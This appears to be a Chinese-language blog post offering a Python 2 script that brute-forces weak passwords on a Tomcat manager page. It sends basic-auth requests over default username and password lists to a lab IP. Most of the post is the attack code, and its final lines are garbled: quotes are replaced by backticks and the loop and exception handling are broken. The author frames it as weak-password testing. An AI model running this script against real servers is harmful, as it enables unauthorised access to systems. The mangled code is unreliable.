Tomcat口令猜解工具【Python指令碼】

bypass發表於2016-11-10

Tomcat 伺服器網頁部署,登入需使用者名稱/密碼,編寫了一個簡單的Python指令碼來測試一些簡單的弱口令。

測試環境:Tomcat版本 7.0

登入介面採用basic認證,Base 64加密一下,模擬瀏覽器進行發包

據測試,每個使用者名稱輸入5次錯誤的密碼會鎖定使用者,想了一些辦法,還是沒能繞過,這裡做個記錄,有時間再完善。

目前只能用於簡單的弱口令測試

Python指令碼如下:

import urllib
import urllib2
import time
import base64 

names=[`admin`,`tomcat`]
passwds=[``,`admin`,`tomcat`,`123456`,`root`]
for name in names: 
    name=name.rstrip()
    for passwd in passwds:  
        passwd=passwd.rstrip()
        user_agent = "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)"  
        Authorization = "Basic %s" % (base64.b64encode(name+`:`+passwd))
        header = { `User-Agent` : user_agent , `Authorization`:Authorization}  

        try:        
            url = "http://192.168.106.137:8080/manager/html"
            request = urllib2.Request(url,headers=header)
            response = urllib2.urlopen(request,timeout=5)
            result=response.read()


            if response.code ==200:
                print `[Success] `  + url+` `+name+`:`+passwd 
          break except: print
`[false111] ` + url+` `+name+`:`+passwd time.sleep(1)

 


相關文章